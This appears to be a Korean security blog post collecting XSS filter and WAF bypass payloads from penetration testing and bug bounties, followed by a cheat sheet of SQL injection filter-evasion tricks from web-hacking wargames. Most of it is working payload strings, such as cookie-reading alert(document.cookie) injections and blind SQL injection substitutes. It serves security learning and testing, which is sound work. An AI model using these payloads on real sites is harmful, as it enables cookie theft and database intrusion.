[Summary]


본 글은 각종 모의해킹 및 버그바운티 시 XSS 취약점을 분석하며 얻은 경험을 토대로 작성한 글입니다.

서버 소스코드단의 필터링 및 네트워크단의 WAF 필터링 등을 우회하여 XSS Exploit을 성공시키기 위한 기법들을 일부 정리하였습니다.



[Example 1]


조건 1

https://ar9ang3.com/?param1=abc로 요청했을 시(지금은 GET으로 보냈지만 POST일 경우에도)


조건 2

서버단에 요청한 URI가 직접 javascript단으로 삽입될 경우


<script>

document.location.href = 'https://ar9ang3.tistory.com/?param1=abc';

</script>


제약조건 3

%3b(;), %2b(+)가 WAF단에서 필터링되어 document.location.href= 등을 벗어나지 못할 경우



우회 및 XSS 트리거 코드 1 (Reflected XSS)

문자열 - Native Function - 문자열 을 수행할 시 문자열의 결과를 연산하는 과정에서 Native Function이 실행되게 됩니다. 때문에 document.location="abc"-alert(document.cookie)-"def"; 와 같은 구문이 있을 시 document.location의 결과와는 상관 없이 alert(document.cookie) 구문이 실행되게 됩니다.


{example}

?param1=abc'-alert(document.cookie)-'def


<script>

document.location.href = 'https://ar9ang3.tistory.com/?param1=abc'-alert(document.cookie)-'def';

</script>


우회 및 XSS 트리거 코드 2 (Redirect to other Site)

위의 트리거 코드 1과 비슷하지만 && 연산자를 이용한다는 점이 다릅니다. 


?param1=abc'&&'https://ar9ang3.com/


<script>

document.location.href = 'https://ar9ang3.tistory.com/?param1=abc'&&'https://ar9ang3.com/';

</script>


이와 같이 우회가 가능하다.



우회코드 1번의 경우 document.location.href 뒤의 문자열이 문자열 - alert(1)의 결과값 - 문자열이 되고, 문자열 - 문자열(상수)는 NaN이 됨으로 host의 /NaN으로 요청하게 된다. 하지만 이 중간에 alert에 해당하는 곳에 코드가 실행되게 된다.


우회코드 2번의 경우 문자열 && 문자열 을 할 시 뒤의 문자열이 최종적으로 적용되기 때문에 최종적으론 뒤에 적어놓은 문장으로 document.location.href가 동작하게 됨으로 내가 원하는 페이지로 redirect 시킬 수 있다.



WAF Bypass Tips


. 을 필터링 할 시

document.cookie => document['cookie']


(" ")를 필터링 할 시

eval("alert(1)") => eval[alert(1)]


;나 +를 필터링 할 시

'abc'-alert(1)-'def' => 함수 실행 후 정상 문자열을 대입하여야 할 때 => 'abc'-alert(1)^1&&'normal_string_here'


종합해보면


'abc'-eval[alert(document['cookie'])]^1&&'normal_string_here'


document.location.href 의 문자열에 대입해보면


document.location.href = 'abcdef?param1=haha'-eval[alert(document['cookie'])]^1&&'https://ar9ang3.com/';




More Filtering Bypass tips


임의의 자바스크립트 구문을 삽입할 수 있다고 가정하였을 때 우리는 두 가지를 생각하여야 합니다.


 1. 삽입된 자바스크립트 구문으로 인하여 '자바스크립트 문법 에러'가 유발되지 않는지

 2. 삽입하는 자바스크립트 구문이 필터링되지 않는 지



<< 1. 삽입된 자바스크립트 구문으로 인하여 '자바스크립트 문법 에러'가 유발되지 않는지>>

1번의 경우엔 jsbeautifier, sublimetext와 같은 beautify 혹은 ide툴을 통해 문법에러를 찾아내고(괄호 에러 등), 에러가 나서 자바스크립트 구문이 정상적으로 실행되지 않는다면 크롬의 개발자도구 콘솔창에 나타나는 자바스크립트 에러메세지를 확인하여 문법 에러를 찾아 낼 수 있습니다. 예를들어보면 아래와 같습니다.


 try {

    if ('injection'==<%=request.getParameter("param")%>) {

        var a = "%inject here%";

    }

    var f = function(x) {

        var z = {

            a : 1,

            b : 2,

            c : 3

        };

        return a;

    }

} catch (e) { 

    console.log("err");

}


위와같은 구문에서 inject here에 우리가 원하는 임의의 자바스크립트 구문을 넣을 수 있다고 해봅시다. try 구문 안에있는 if 구문 안에 var a를 선언하는 과정에서 injection이 발생하였습니다. 우리가 원하는 스크립트를 실행시키기 위해선 if 조건과 상관없이 동작하도록 자바스크립트 코드를 재구성하여야 합니다.


[Method 1]




첫번째 방법은 문법을 맞춰주는것입니다. 구문에 맞게 모두 삽입하면 정상적으로 자바스크립트 코드가 실행되는것을 볼 수 있습니다.


[Method 2]


두번째 방법은 아래와 같습니다.


 try {

    if ('injection'==<%=request.getParameter("param")%>) {

        var a = "blahblah";

    }

} catch(e) { }

alert(document.cookie);

</script>

<noscript>";

    }

    var f = function(x) {

        var z = {

            a : 1,

            b : 2,

            c : 3

        };

        return a;

    }

} catch (e) { 

    console.log("err");

}

</script>와 <noscript>를 삽입할 수 있을 시 위와같은 구문으로 대충 닫는것만 맞춰주고 스크립트를 실행시킨 후 스크립트 태그를 닫아버리고 noscript를 동작시키는것입니다.



위에 소개된 방법 외에도 xss가 터지는 상황은 워낙에 다양하기 때문에 그 상황상황에 맞춰 Exploit을 하여야 합니다. 만약 우리가 입력한 파라미터가 html 스크립트 내에 두곳으로 들어가게 되고, 이로인해 에러가 유발된다면 `(Back Quote)를 이용하여 두 삽입지점 사이의 모든 코드를 문자열로 만들거나 /* */와 같은 주석 코드를 이용하여 두 삽입지점 사이의 모든 문자를 무효화 할 수도 있습니다. 이와같이 다양한 방법으로 자바스크립트 문법 에러를 회피할 수 있습니다.




<<2. 삽입하는 자바스크립트 구문이 필터링되지 않는 지>>


필터링되는 문자열은 다양합니다. <, >, ', ", (, ), `, ;, %, &, +


위와같은 Character가 필터링 되어있을 시 우회하는 방법에 대해 일부 소개하고자 합니다.


Example Code

 -> alert(document.cookie);


alert와 같은 native function 자체를 필터링 할 시

 var a=alert; a(document.cookie);


document.cookie 등을 필터링 할 시

 var a='alert'; var b='(documen'; var c='t.cooki'; var d='e)'; var e=eval; e(a+b+c+d);


무언가 문자열을 필터링할 때

 var a=eval; a(atob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="));

 BASE64로 인코딩 후 실행


' / "를 필터링 할 시

 ?param_a=\&param_b=;alert(document.cookie);var%20z='

 var a='\'; var b=';alert(document.cookie);var z='';


( ) 괄호를 필터링 할 시

 alert`123`;

 btoa.constructor`alert\x28document.cookie\x29```

  -> 이에대해 조금 더 설명하자면, `(back quote)는 살짝 특별한 Character이다. 문자열을 만들때도 사용할 수 있으며, 함수를 실행할 때 인자를 alert`123`; 처럼 줄 수도 있다. 때문에 이에 대해 조금더 언급하면, btoa와 같은 Native function의 constructor method를 이용하여 인자로 문자열로 된 스크립트 구문 을 전달하면 btoa의 constructor function으로 스크립트가 지정된다. 이후 `(back quote)를 두번 써줌으로써 btoa를 실행시키게 되고, 이로인해 앞에서 저장한 스크립트 구문이 실행되게 된다. 또한 자바스크립트에선 \x28과 같은 Ascii hex를 자동으로 converting 해주기 때문에 \x28, \u28, \u0028과 같은 구문들이 문자열 내에서 자동으로 ascii charcter로 변환되게 된다. 때문에 최종적으로 alert(document.cookie) 구문이 실행되게 된다.






여러가지 상황에서 XSS를 성공시키는 법에 대해 알아보았는데, 솔직히 XSS의 경우 Mitigation 구현도 다양하고 삽입되는 위치와 상황도 모두 다 다양합니다. 때문에 천편일률적인 우회 기법이 아니라 그때그때 상황에 맞추어 우회하는것이 중요하다고 생각합니다. 최근 한글 XSS, 가타카나 XSS등과 같은 내용들도 보았는데, 이처럼 새로운 방법들이 계속해서 나오고 있습니다. 이러한 내용들까지 모두 언급하지는 않고 이정도로만 작성하고 마치도록 하겠습니다.




지금까지 웹해킹 워게임을 풀면서 깨달은(?) 우회기법을 정리하려 합니다.

모두 수기로 기억나는대로 작성하다보니 빠진 부분도 있을 것 같습니다.

기억나는대로 추가해서 수정하겠습니다.



 - or, and

  : ||, &&


 - String Filtering (Ex. preg_match - admin 등)

  : admin -> 0x61646d696e, 0b0110000101100100011011010110100101101110, char(0x61, 0x64, 0x6d, 0x69, 0x6e)

   * char()의 경우 타 진법으로도 사용 가능


 - Blind SQL Injection 시 '='(Equal) Filtering

  : substr('abc',1,1)like('a'), if(strcmp(substr('abc',1,1),'a'),0,1), substr('abc',1,1)%20in('a')


 - substr filtering

  : right(left('abc',1),1), id>0x41444d4941 ('ADMIN'은 'ADMIA'보다 hex값이 크다)


 - ereg, eregi

  : 'admin' 필터링 시 'AdmIN' 등으로 우회 가능

  : 맨 앞에 %00을 삽입 시 뒤의 문자가 필터링 되지 않음


 - replace, replaceAll

  : 'admin' 필터링 시 'adadminmin' 등으로 우회 가능


 - numeric character filtering

  : 0 -> '!'='@'

  : 1 -> '!'='!' 등으로 true, false 및 수식을 이용하여 숫자를 표현 가능


 - White Space Filtering (%20)

  : %20 -> %0a %0b %0c %0d %09


 - Single Quote Filtering (%27)

  : Single Quote 안에서 Double quote를 쓰면 해결되는 경우도 있음

  : 특수한 조건에서 %bf%27 로 Multibyte를 만들어 필터링을 우회할 수도 있음 (하지만 거의 없는 경우)

  : '\' 백슬래시 문자가 필터링 되어있지 않은 경우 다음과 같은 상황에서 우회 가능

   ex. select test1 from test where id='\' and pw=' or 1#

     -> parameter : id=\&pw=%20or%201%23


 - 주석 

  : #, --, ;%00, /* */


 - 주석을 이용한 SQL Injection

  : '#'의 주석 범위는 1 line이다. 1 line을 나누는 기준은 %0a로 나뉘기 때문에 아래 예제와 같은 SQL Injection을 수행할 수 있다.

   * select test1 from test where id='abc'# and pw='%0a or id='admin'%23

  : /* */

   * select test1 from test where id='abc'/* and pw=''*/ or id='admin'%23


 - Blind SQL Injection 시 sub query의 결과로 여러 row가 나오는데 where 문을 쓸 수 없을 때

  : max(column_name), min(column_name), group_concat(column_name)


 - 테이블명, 컬럼명을 알아내야 할 때

  : select test1 from test where id='admin' and pw='1234' procedure analyse();

   * limit 2,1 등과 함께 사용하여 필요한 컬럼 명을 한 줄로 뽑아낼 수 있음


 - Error Based SQL Injection 할 때

  : 0xfffffffffffff*0xfffffffffffff 를 하면 Integer 범위 초과 에러가 발생한다


 - MultiByte Character SQL Injection

  : 'test1' 필드의 캐릭터가 아스키코드가 아닌 멀티바이트 캐릭터(ex. UTF-32 등)일 때는 다음과 같은 방법으로 SQL Injection을 수행할 수 있다.

   * substr(hex(test1),1,1)=0x41

    ※ MultiByte Character인지 알아보기 위한 방법으로는 '>'와 '<'를 이용하여 범위를 찾아나갈때 문자의 범위가 예를들어 20과 21사이로 나온다면(아스키 문자의 범위가 소숫점으로 나오는 경우는 없다) 멀티바이트 캐릭터라고 추측할 수 있다.


 - SQL Injection이 먹히는지 알아볼 때

  : '(싱글쿼터)를 썼을 때 에러가 나는지

  : ' and '1'='1    ,     ' and '1'='2  를 썼을 때 앞에건 정상적으로 출력되고 뒤에건 출력이 안나는지

  : ' or '1'='1 을 썼을 때 정상적으로 출력되는 지

  : 숫자로 이루어진 컬럼 (ex. idx=23001) 을 idx=23002-1 로 넣었을 때 정상적으로 출력 되는 지

  : '||' 를 썼을 때 정상적으로 출력되는 지 ( Restrict. DB가 Oracle이고 자료형이 Varchar로 선언되어 있을 때 )

  : 주석을 쓸때는 #(%23), -- (--%20), %0a



+ Recent posts